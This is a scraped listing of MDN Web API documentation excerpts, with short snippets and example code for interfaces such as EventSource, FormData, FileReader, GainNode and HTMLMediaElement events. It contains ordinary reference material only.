... living standard dom4the definition of 'event.stoppropagation()' in that specification.
... obsolete document object model (dom) level 2 events specificationthe definition of 'event.stoppropagation()' in that specification.
EventSource() - Web APIs
syntax eventsource = new eventsource(url, configuration); parameters url a usvstring that represents the location of the remote resource serving the events/messages.
...the possible entries are: withcredentials, defaulting to false, indicating if cors should be set to include credentials.
... examples var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); } note: you can find a full example on github — see simple sse demo using php.
... specifications specification status comment html living standardthe definition of 'eventsource()' in that specification.
EventSource.withCredentials - Web APIs
the withcredentials read-only property of the eventsource interface returns a boolean indicating whether the eventsource object was instantiated with cors credentials set.
... syntax var mywithcredentials = eventsource.withcredentials; value a boolean indicating whether the eventsource object was instantiated with cors credentials set (true), or not (false, the default).
... examples var evtsource = new eventsource('sse.php'); console.log(evtsource.withcredentials); note: you can find a full example on github — see simple sse demo using php.
... specifications specification status comment html living standardthe definition of 'withcredentials' in that specification.
ExtendableMessageEvent - Web APIs
it can be any data type.
... examples in the below example a page gets a handle to the serviceworker object via serviceworkerregistration.active, and then calls its postmessage() function.
...erviceworker) { navigator.serviceworker.register('service-worker.js'); navigator.serviceworker.addeventlistener('message', event => { // event is a messageevent object console.log(`the service worker sent me a message: ${event.data}`); }); navigator.serviceworker.ready.then( registration => { registration.active.postmessage("hi service worker"); }); } the service worker can receive the message by listening to the message event: // in the service worker addeventlistener('message', event => { // event is an extendablemessageevent object console.log(`the client sent me a message: ${event.data}`); event.source.postmessage("hi client"); }); specifications specification status comment service workersthe definition of 'extendablemessageev...
...ent' in that specification.
FetchEvent.request - Web APIs
this property is non-nullable (since version 46, in the case of firefox.) if a request is not provided by some other means, the constructor init object must contain a request (see fetchevent.fetchevent().) syntax var recentrequest = fetchevent.request; value a request object.
...this promise resolves to the first matching url request in the cache object.
... self.addeventlistener('fetch', function(event) { console.log('handling fetch event for', event.request.url); event.respondwith( caches.match(event.request).then(function(response) { if (response) { console.log('found response in cache:', response); return response; } console.log('no response found in cache.
... about to fetch from network...'); return fetch(event.request).then(function(response) { console.log('response from network is:', response); return response; }).catch(function(error) { console.error('fetching failed:', error); throw error; }); }) ); }); specifications specification status comment service workersthe definition of 'request' in that specification.
FileReader.readAsDataURL() - Web APIs
note: the blob's result cannot be directly decoded as base64 without first removing the data-url declaration preceding the base64-encoded data.
... if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) { var reader = new filereader(); reader.addeventlistener("load", function () { var image = new image(); image.height = 100; image.title = file.name; image.src = this.result; preview.appendchild( image ); }, false); reader.readasdataurl(file); } } if (files) { [].foreach.call(files, readandpreview); } } note: the filereader() constructor was not supported by internet explorer for versions before 10.
... for a full compatibility code you can see our crossbrowser possible solution for image preview.
... specifications specification status comment file apithe definition of 'readasdataurl()' in that specification.
FileReaderSync.readAsArrayBuffer() - Web APIs
exceptions the following exceptions can be raised by this method: notfounderror is raised when the resource represented by the dom file or blob cannot be found, e.g.
... because it has been erased.
... notreadableerror is raised when the resource cannot be read due to a permission problem, like a concurrent lock.
... specifications specification status comment file apithe definition of 'readasarraybuffersync' in that specification.
FileReaderSync.readAsDataURL() - Web APIs
exceptions the following exceptions can be raised by this method: notfounderror is raised when the resource represented by the dom file or blob cannot be found, e.g.
... because it has been erased.
... notreadableerror is raised when the resource cannot be read due to a permission problem, like a concurrent lock.
... specifications specification status comment file apithe definition of 'readasdataurl' in that specification.
FileReaderSync.readAsText() - Web APIs
exceptions the following exceptions can be raised by this method: notfounderror is raised when the resource represented by the dom file or blob cannot be found, e.g.
... because it has been erased.
... notreadableerror is raised when the resource cannot be read due to a permission problem, like a concurrent lock.
... specifications specification status comment file apithe definition of 'readastext' in that specification.
FocusEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><...
...in some cases (such as when tabbing in or out a page), this property may be set to null for security reasons.
... specifications specification status comment ui eventsthe definition of 'focusevent' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'focusevent' in that specification.
FormData.append() - Web APIs
WebAPIFormDataappend
this can be a usvstring or blob (including subclasses such as file).
... example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you can add key/value pairs to this using formdata.append: formdata.append('username', 'chris'); formdata.append('userpic', myfileinput.files[0], 'chris.jpg'); as with regular form data, you can append multiple values with the same name.
... for example (and being compatible with php's naming conventions by adding [] to the name): formdata.append('userpic[]', myfileinput.files[0], 'chris1.jpg'); formdata.append('userpic[]', myfileinput.files[1], 'chris2.jpg'); this technique makes it simpler to process multi-file uploads because the resultant data structure is more conducive to looping.
... if the sent value is different than string or blob it will be automatically converted to string: formdata.append('name', true); formdata.append('name', 74); formdata.append('name', 'john'); formdata.getall('name'); // ["true", "74", "john"] specifications specification status comment xmlhttprequestthe definition of 'append()' in that specification.
FormData - Web APIs
WebAPIFormData
the formdata interface provides a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the xmlhttprequest.send() method.
... you can also pass it directly to the urlsearchparams constructor if you want to generate query parameters in the way a <form> would do if it were using simple get submission.
... an object implementing formdata can directly be used in a for...of structure, instead of entries(): for (var p of myformdata) is equivalent to for (var p of myformdata.entries()).
... specifications specification status comment xmlhttprequestthe definition of 'formdata' in that specification.
FormDataEvent() - Web APIs
formeventinit optional a formeventinit dictionary, which can take the following optional fields: bubbles: a boolean indicating whether the event bubbles.
... cancelable: a boolean indicating whether the event can be cancelled.
... composed: a boolean indicating whether the event will trigger listeners outside of a shadow root (see event.composed for more details).
... examples let fd = new formdata(); fd.append('test', 'test'); let fdev = new formdataevent('formdata', { formdata: fd }); for (let value of fdev.formdata.values()) { console.log(value); } specifications specification status comment html living standardthe definition of 'formdataevent' in that specification.
GainNode - Web APIs
WebAPIGainNode
it is an audionode audio-processing module that causes a given gain to be applied to the input data before its propagation to the output.
...if modified, the new gain is instantly applied, causing unaesthetic 'clicks' in the resulting audio.
...iv> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(stream) { source = audioctx.createmediastreamsource(stream); }, // error callback function(err) { console.log('the following gum error occured: ' + err); } ); } else { console.log('getusermedia not supported on your browser!'); } source.connect(gainnode); gainnode.connect(audioctx.destination); ...
... gainnode.gain.setvalueattime(0, audioctx.currenttime); mute.id = "activated"; mute.innerhtml = "unmute"; } else { gainnode.gain.setvalueattime(1, audioctx.currenttime); mute.id = ""; mute.innerhtml = "mute"; } } specifications specification status comment web audio apithe definition of 'gainnode' in that specification.
Gamepad.buttons - Web APIs
WebAPIGamepadbuttons
each entry in the array is 0 if the button is not pressed, and non-zero (typically 1.0) if the button is pressed.
... each gamepadbutton object has two properties: pressed and value: the pressed property is a boolean indicating whether the button is currently pressed (true) or unpressed (false).
... syntax readonly attribute gamepadbutton[] buttons; example the following code is taken from my gamepad api button demo (you can view the demo live, and find the source code on github.) note the code fork — in chrome navigator.getgamepads needs a webkit prefix and the button values are stores as an array of double values, whereas in firefox navigator.getgamepads doesn't need a prefix, and the button values are stored as an array of gamepadbutton objects; it is the gamepadbutton.value or gamepadbutton.pressed properties ...
... specifications specification status comment gamepadthe definition of 'gamepad.buttons' in that specification.
GamepadButton - Web APIs
note: this is the case in firefox gecko 28 and later; chrome and earlier firefox versions still return an array of double values when this property is accessed.
... gamepadbutton.pressed read only a boolean value indicating whether the button is currently pressed (true) or unpressed (false).
... example the following code is taken from my gamepad api button demo (you can view the demo live, and find the source code on github.) note the code fork — in chrome navigator.getgamepads needs a webkit prefix and the button values are stored as an array of double values, whereas in firefox navigator.getgamepads doesn't need a prefix, and the button values are stored as an array of gamepadbutton objects; it is the gamepadbutton.value or gamepadbutton.pressed properties of these we need to access, depending on what type of buttons they are.
...pressed == true) { b--; } else if(gp.buttons[1].value > 0 || gp.buttons[1].pressed == true) { a++; } else if(gp.buttons[2].value > 0 || gp.buttons[2].pressed == true) { b++; } else if(gp.buttons[3].value > 0 || gp.buttons[3].pressed == true) { a--; } } ball.style.left = a*2 + "px"; ball.style.top = b*2 + "px"; var start = raf(gameloop); }; specifications specification status comment gamepadthe definition of 'gamepadbutton' in that specification.
GlobalEventHandlers.oncontextmenu - Web APIs
the contextmenu event typically fires when the right mouse button is clicked on the window.
... only one oncontextmenu handler can be assigned to an object at a time.
...the context menu typically appears upon a right click.
... { animation-play-state: paused; } javascript function pause(e) { body.classlist.add('paused'); note.removeattribute('hidden'); } function play(e) { body.classlist.remove('paused'); note.setattribute('hidden', ''); } const body = document.queryselector('body'); const note = document.queryselector('.note'); window.oncontextmenu = pause; window.onpointerdown = play; result specifications specification status comment html living standardthe definition of 'oncontextmenu' in that specification.
HTMLAnchorElement.download - Web APIs
the htmlanchorelement.download property is a domstring indicating that the linked resource is intended to be downloaded rather than displayed in the browser.
... the value, if any, specifies the default file name for use in labeling the resource in a local file system.
...this value cannot be used to determine whether the download will occur.
... syntax var dnload = anchorelt.download; anchorelt.download = dnload; specifications specification status comment html living standardthe definition of 'download' in that specification.
HTMLAnchorElement.rel - Web APIs
it is a domstring containing a space-separated list of link types indicating the relationship between the resource represented by the <a> element and the current document.
... syntax var relstr = anchorelt.rel; anchorelt.rel = relstr; example var anchors = document.getelementsbytagname("a"); var length = anchors.length; for (var i = 0; i < length; i++) { alert("rel: " + anchors[i].rel); } specifications specification status comment html living standardthe definition of 'rel' in that specification.
... living standard no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'rel' in that specification.
... obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'rel' in that specification.
HTMLCollection - Web APIs
note: this interface is called htmlcollection for historical reasons (before the modern dom, collections implementing this interface could only have html elements as their items).
... an htmlcollection in the html dom is live; it is automatically updated when the underlying document is changed.
...currently htmlcollections does not recognize purely numeric ids, which would cause conflict with the array-style access, though html5 does permit these.
... is one <form> element in the document and its id is myform: var elem1, elem2; // document.forms is an htmlcollection elem1 = document.forms[0]; elem2 = document.forms.item(0); alert(elem1 === elem2); // shows: "true" elem1 = document.forms.myform; elem2 = document.forms.nameditem("myform"); alert(elem1 === elem2); // shows: "true" elem1 = document.forms["named.item.with.periods"]; specifications specification status comment domthe definition of 'htmlcollection' in that specification.
HTMLDetailsElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmldetailselement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldetailsel...
... htmldetailselement.open is a boolean reflecting the open html attribute, indicating whether or not the element’s contents (not counting the <summary>) is to be shown to the user.
... specifications specification status comment html living standardthe definition of 'htmldetailselement' in that specification.
... candidate recommendation ...
HTMLDialogElement.show() - Web APIs
from there you can click the cancel button to close the dialog (via the htmldialogelement.close() method), or submit the form via the submit button.
... --> <dialog id="favdialog"> <form method="dialog"> <section> <p><label for="favanimal">favorite animal:</label> <select id="favanimal" name="favanimal"> <option></option> <option>brine shrimp</option> <option>red panda</option> <option>spider monkey</option> </select></p> </section> <menu> <button id="cancel" type="reset">cancel</button> <button type="submit">confirm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favd...
...; dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventlistener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> specifications specification status comment html living standardthe definition of 'show()' in that specification.
... living standard html 5.1the definition of 'show()' in that specification.
HTMLElement: animationiteration event - Web APIs
bubbles yes cancelable no interface animationevent event handler property onanimationiteration examples this code uses animationiteration to keep track of the number of iterations an animation has completed: const animated = document.queryselector('.animated'); let iterationcount = 0; animated.addeventlistener('animationiteration', () => { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }); the same, but using the onanimationiteration event...
..."button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: 0.2rem; padding: 0.2rem; } .animation.active { animation-duration: 2s; animation-name: slidein; animation-iteration-count: 2; } @keyframes slidein { from { transform: translatex(100%) scalex(3); } to { transform: translatex(0) scalex(1); } } js const animation = document.queryselector('p.animation'); const animationeventlog = document.queryselector('.animation-example>.event-log'); const applyanimation = document.queryselector('.animation-example>button.activate'); let iterationcount = 0; animation.addeventlistener('animationstart', () => { animationeventlog.textco...
...ncount++; animationeventlog.textcontent = `${animationeventlog.textcontent}'animation iterations: ${iterationcount}' `; }); animation.addeventlistener('animationend', () => { animationeventlog.textcontent = `${animationeventlog.textcontent}'animation ended'`; animation.classlist.remove('active'); applyanimation.textcontent = "activate animation"; }); animation.addeventlistener('animationcancel', () => { animationeventlog.textcontent = `${animationeventlog.textcontent}'animation canceled'`; }); applyanimation.addeventlistener('click', () => { animation.classlist.toggle('active'); animationeventlog.textcontent = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { applyanimation.textcontent = "cancel animation"; } else { ap...
...plyanimation.textcontent = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement.hidden - Web APIs
appropriate use cases for hidden include: content that isn't yet relevant but may be needed later content that was previously needed but is not any longer content that is reused by other parts of the page in a template-like fashion creating an offscreen canvas as a drawing buffer inappropriate use cases include: hiding panels in a tabbed dialog box hiding content in one presentation while intending it to be visi...
... .panel { font: 16px "open sans", helvetica, arial, sans-serif; border: 1px solid #22d; padding: 12px; width: 500px; text-align: center; } .button { font: 22px "open sans", helvetica, arial, sans-serif; padding: 5px 36px; } h1 { margin-top: 0; font-size: 175%; } result specifications specification status comment html living standardthe definition of 'htmlelement.hidden' in that specification.
... living standard html 5.1the definition of 'htmlelement.hidden' in that specification.
... recommendation html5the definition of 'htmlelement.hidden' in that specification.
HTMLElement.innerText - Web APIs
basically, innertext is aware of the rendered appearance of text, while textcontent is not.
... html <h3>source element:</h3> <p id="source"> <style>#source { color: red; } #text { text-transform: uppercase; }</style> <span id=text>take a look at<br>how this text<br>is interpreted below.</span> <span style="display:none">hidden text</span> </p> <h3>result of textcontent:</h3> <textarea id="textcontentoutput" rows="6" cols="30" readonly>...</textarea> <h3>result of innertext:</h3> <textarea id="innertextoutput" rows="6" cols="30" readonly>...</textarea> javascript const source = document...
....getelementbyid("source"); const textcontentoutput = document.getelementbyid("textcontentoutput"); const innertextoutput = document.getelementbyid("innertextoutput"); textcontentoutput.value = source.textcontent; innertextoutput.value = source.innertext; result specification specification status comment html living standardthe definition of 'innertext' in that specification.
... living standard introduced, based on the draft of the innertext specification.
HTMLElement: transitionrun event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property ontransitionrun examples this code adds a listener to the transitionrun event: el.addeventlistener('transitionrun', () => { console.log('transition is running but hasn\'t necessarily started transitioning yet'); }); the same, but using the ontransitionrun property instead of addeventlistener(): el.ontransitionrun = () => { console.log('transition started running, and will start transitioning when the transition delay has expired'); }; live example in the following example, we have a simple <div> element, styled with a transiti...
... that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform, background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate where the transitionstart and transitionrun events fire.
... the transitionrun will occur even if the transition is canceled before the delay expires.
... specifications specification status comment css transitionsthe definition of 'transitionrun' in that specification.
HTMLEmbedElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,mono...
... htmlembedelement.align is a domstring representing an enumerated property indicating alignment of the element's contents with respect to the surrounding context.
... specifications specification status comment html living standardthe definition of 'htmlembedelement' in that specification.
... html5the definition of 'htmlembedelement' in that specification.
HTMLIFrameElement.allowPaymentRequest - Web APIs
the allowpaymentrequest property of the htmliframeelement interface returns a boolean indicating whether the payment request api may be invoked on a cross-origin iframe.
... specifications specification status comment payment request apithe definition of 'allowpaymentrequest' in that specification.
... candidate recommendation adds allowpaymentrequest property.
... html living standardthe definition of 'htmliframeelement: allowpaymentrequest' in that specification.
HTMLImageElement.currentSrc - Web APIs
the read-only htmlimageelement property currentsrc indicates the url of the image which is currently presented in the <img> element it represents.
... syntax let currentsource = htmlimageelement.currentsrc; value a usvstring indicating the full url of the image currently visible in the <img> element represented by the htmlimageelement.
...the sizes attribute is provided to indicate that the image should be drawn at 50% of the document width if the viewport is under 400px wide; otherwise, the image is drawn at 90% width of the document.
...-demo-200px.png 200w, /files/16797/clock-demo-400px.png 400w" sizes="(max-width: 400px) 50%, 90%"> javascript var clockimage = document.queryselector("img"); let p = document.createelement("p"); if (!clockimage.currentsrc.endswith("200px.png")) { p.innertext = "using the 200px image."; } else { p.innertext = "using the 400px image!"; } document.body.appendchild(p); result specifications specification status comment html living standardthe definition of 'htmlimageelement.currentsrc' in that specification.
HTMLImageElement.decoding - Web APIs
auto: default mode, which indicates no preference for the decoding mode.
...if doing so would cause problems, you can specify sync to disable asynchronous loading.
... this can be useful when applied to <img> elements, but may be even more so when used for offscreen image objects.
... examples var img = new image(); img.decoding = 'sync'; img.src = 'img/logo.png'; specifications specification status comment html living standardthe definition of 'decoding' in that specification.
HTMLImageElement.lowSrc - Web APIs
the htmlimageelement interface's obsolete lowsrc property can be used to specify the url of a reduced-quality or otherwise faster-loading version of the image specified by the src property.
... syntax htmlimageelement.lowsrc = imageurl; imageurl = htmlimageelement.lowsrc; value a domstring specifying the url of a version of the image specified by src which has been modified in some fashion so that it loads significantly more quickly than the primary image.
... usage notes lowsrc is a strange case.
... it was never technically part of the html specification (it was a mozilla extension to html); however, html 5 does list it among the obsolete attributes.
HTMLImageElement.vspace - Web APIs
syntax htmlimageelement.vspace = marginheight; marginheight = htmlimageelement.vspace; value an integer value specifying the height, in pixels, of the vertical margin to apply to the top and bottom sides of the image.
... specifications specification status comment html living standardthe definition of 'htmlimageelement.vspace' in that specification.
... living standard html 4.01 specificationthe definition of 'htmlimageelement.vspace' in that specification.
... recommendation the html 4.01 specification offers additional details.
HTMLLinkElement.rel - Web APIs
it is a domstring containing a space-separated list of link types indicating the relationship between the resource represented by the <link> element and the current document.
... syntax var relstr = linkelt.rel; linkelt.rel = relstr; example var links = document.getelementsbytagname('link'); var length = links.length; for (var i = 0; i < length; i++) { alert(links[i]); } specifications specification status comment html living standardthe definition of 'rel' in that specification.
... living standard no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'rel' in that specification.
... obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'rel' in that specification.
HTMLMediaElement.duration - Web APIs
the read-only htmlmediaelement property duration indicates the length of the element's media in seconds.
... syntax myduration = htmlmediaelement.duration value a double-precision floating-point value indicating the duration of the media in seconds.
... examples var obj = document.createelement('video'); console.log(obj.duration); // nan specifications specification status comment html living standardthe definition of 'htmlmediaelement.duration' in that specification.
... living standard html5the definition of 'htmlmediaelement.duration' in that specification.
HTMLMediaElement: ended event - Web APIs
the ended event is fired when playback or streaming has stopped because the end of the media was reached or because no further data is available.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onended specification html5 media this event is also defined in media capture and streams and web audio api examples these examples add an event listener for the htmlmediaelement's ended event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('ended', (event) => { console.log('video stopped either because 1) it was over, ' + 'or 2) no further data is available.'); }); using the onended event handler property: const video = document.queryselector('video'); video.onended = (event) => { console.log('video stopped either because 1) it was over, ' + 'or 2) no further data is available.'); }; specifications specification status html living standardthe definition of 'ended media event' in that specification.
... living standard html5the definition of 'ended media event' in that specification.
HTMLMediaElement: loadstart event - Web APIs
bubbles no cancelable no interface event event handler property onloadstart examples live example html <div class="example"> <button type="button">load video</button> <video controls width="250"></video> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "button log" "video log"; } button { grid-area: button; width: 10rem; margin: .5rem 0; } ...
...advideo = document.queryselector('button'); const video = document.queryselector('video'); const eventlog = document.queryselector('.event-log-contents'); let source = null; function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}\n`; } video.addeventlistener('loadstart', handleevent); video.addeventlistener('progress', handleevent); video.addeventlistener('canplay', handleevent); video.addeventlistener('canplaythrough', handleevent); loadvideo.addeventlistener('click', () => { if (source) { document.location.reload(); } else { loadvideo.textcontent = "reset example"; source = document.createelement('source'); source.setattribute('src', 'https://interactive-examples.mdn.mozilla.net/media/examples/flower.webm');...
... source.setattribute('type', 'video/webm'); video.appendchild(source); } }); result specifications specification status html living standardthe definition of 'loadstart media event' in that specification.
... living standard html5the definition of 'loadstart media event' in that specification.
HTMLMediaElement: play event - Web APIs
bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onplay specification html5 media examples these examples add an event listener for the htmlmediaelement's play event, then post a message when that event handler has reacted to the event firing.
...either the ' + 'play() method was called or the autoplay attribute was toggled.'); }); using the onplay event handler property: const video = document.queryselector('video'); video.onplay = (event) => { console.log('the boolean paused property is now false.
... either the ' + 'play() method was called or the autoplay attribute was toggled.'); }; specifications specification status html living standardthe definition of 'play media event' in that specification.
... living standard html5the definition of 'play media event' in that specification.
HTMLMediaElement.readyState - Web APIs
the htmlmediaelement.readystate property indicates the readiness state of the media.
... have_enough_data 4 enough data is available—and the download rate is high enough—that the media can be played through to the end without interruption.
... <audio id="example" preload="auto"> <source src="sound.ogg" type="audio/ogg" /> </audio> var obj = document.getelementbyid('example'); obj.addeventlistener('loadeddata', function() { if(obj.readystate >= 2) { obj.play(); } }); specifications specification status comment html living standardthe definition of 'htmlmediaelement.readystate' in that specification.
... living standard html5the definition of 'htmlmediaelement.readystate' in that specification.
HTMLMediaElement.seekToNextFrame() - Web APIs
you should not use this method in production code, because its implementation may change—or be removed outright—without notice.
... this method returns immediately, returning a promise, whose fulfillment handler is called when the seek operation is complete.
...if the seek fails because the media is already at the last frame, a seeked event occurs, followed immediately by an ended event.
... specifications not part of any specification.
HTMLMediaElement.setSinkId() - Web APIs
this only works when the application is authorized to use the specified device.
...nation domexception no permission to use the requested device examples const devices = await navigator.mediadevices.enumeratedevices(); const audiodevices = devices.filter(device => device.kind === 'audiooutput'); const audio = document.createelement('audio'); await audio.setsinkid(audiodevices[0].deviceid); console.log('audio is being played on ' + audio.sinkid); specifications specification status comment audio output devices apithe definition of 'sinkid' in that specification.
... candidate recommendation initial definition.
... older versions of this spec were called "media capture output".
HTMLMediaElement.sinkId - Web APIs
this id should be one of the mediadeviceinfo.deviceid values returned from mediadevices.enumeratedevices(), id-multimedia, or id-communications.
... syntax var sinkid = htmlmediaelement.sinkid specifications specification status comment audio output devices apithe definition of 'sinkid' in that specification.
... candidate recommendation initial definition.
... older versions of this spec were called "media capture output".
HTMLMediaElement.videoTracks - Web APIs
the returned list is live; that is, as tracks are added to and removed from the media element, the list's contents change dynamically.
... once you have a reference to the list, you can monitor it for changes to detect when new video tracks are added or existing ones removed.
...the list of tracks can be accessed using array notation, or using the object's gettrackbyid() method.
... specifications specification status comment html living standardthe definition of 'htmlmediaelement.videotracks' in that specification.
HTMLMediaElement: waiting event - Web APIs
the waiting event is fired when playback has stopped because of a temporary lack of data.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onwaiting specification html5 media examples these examples add an event listener for the htmlmediaelement's waiting event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('waiting', (event) => { console.log('video is waiting for more data.'); }); using the onwaiting event handler property: const video = document.queryselector('video'); video.onwaiting = (event) => { console.log('video is waiting for more data.'); }; specifications specification status html living standardthe definition of 'waiting media event' in that specification.
... living standard html5the definition of 'waiting media event' in that specification.
HTMLMenuElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarg...
...-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmenuelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesthis interface has no properties, but inherits properties from: htmlelementmethodsthis interface has no methods, but inherits methods from: htmlelement specifications specification status comment html living standardthe definition of 'htmlmenuelement' in that specification.
... living standard no change from latest snapshot, unknown html 5.2the definition of 'htmlmenuelement' in that specification.
... html 5.1the definition of 'htmlmenuelement' in that specification.
HTMLMeterElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill...
... specifications specification status comment html living standardthe definition of 'htmlmeterelement' in that specification.
... living standard html 5.1the definition of 'htmlmeterelement' in that specification.
... recommendation no change html5the definition of 'htmlmeterelement' in that specification.
HTMLElement.blur() - Web APIs
t input html <input type="text" id="mytext" value="sample text"> <br><br> <button type="button" onclick="focusinput()">click me to gain focus</button> <button type="button" onclick="blurinput()">click me to lose focus</button> javascript function focusinput() { document.getelementbyid('mytext').focus(); } function blurinput() { document.getelementbyid('mytext').blur(); } result specification specification status comment html living standardthe definition of 'blur' in that specification.
... living standard html 5.1the definition of 'blur' in that specification.
... recommendation html5the definition of 'blur' in that specification.
... recommendation document object model (dom) level 2 html specificationthe definition of 'blur' in that specification.
HTMLOrForeignElement - Web APIs
each of these interfaces can, of course, add more features in addition to the ones listed below.
... note: htmlorforeignelement is a mixin and not an interface; you can't actually create an object of type htmlorforeignelement.
...used once that is used by content security policy to determine whether a given fetch will be allowed to proceed.tabindexthe tabindex property of the htmlorforeignelement interface represents the tab order of the current element.methodsblur()the htmlelement.blur() method removes keyboard focus from the current element.focus()the htmlelement.focus() method sets focus on the specified element, if it can be focused.
... specifications specification status comment html living standardthe definition of 'htmlorforeignelement' in that specification.
HTMLProgressElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignm...
... specifications specification status comment html living standardthe definition of 'htmlprogresselement' in that specification.
... living standard html 5.1the definition of 'htmlprogresselement' in that specification.
... recommendation html5the definition of 'htmlprogresselement' in that specification.
HTMLSelectElement.autofocus - Web APIs
the htmlselectelement.autofocus property is a boolean that reflects the autofocus html attribute, which indicates whether the associated <select> element will get input focus when the page loads, unless the user overrides it.
... only one form-associated element in a document can have this attribute specified.
... syntaxedit abool = aselectelement.autofocus; // get the value of autofocus aselectelement.autofocus = abool; // set the value of autofocus example html <select id="myselect" autofocus> <option>option 1</option> <option>option 2</option> </select> javascript // check if the autofocus attribute on the <select> var hasautofocus = document.getelementbyid('myselect').autofocus; specifications specification status comment html living standardthe definition of 'autofocus' in that specification.
... living standard html 5.2the definition of 'autofocus' in that specification.
HTMLSelectElement.remove() - Web APIs
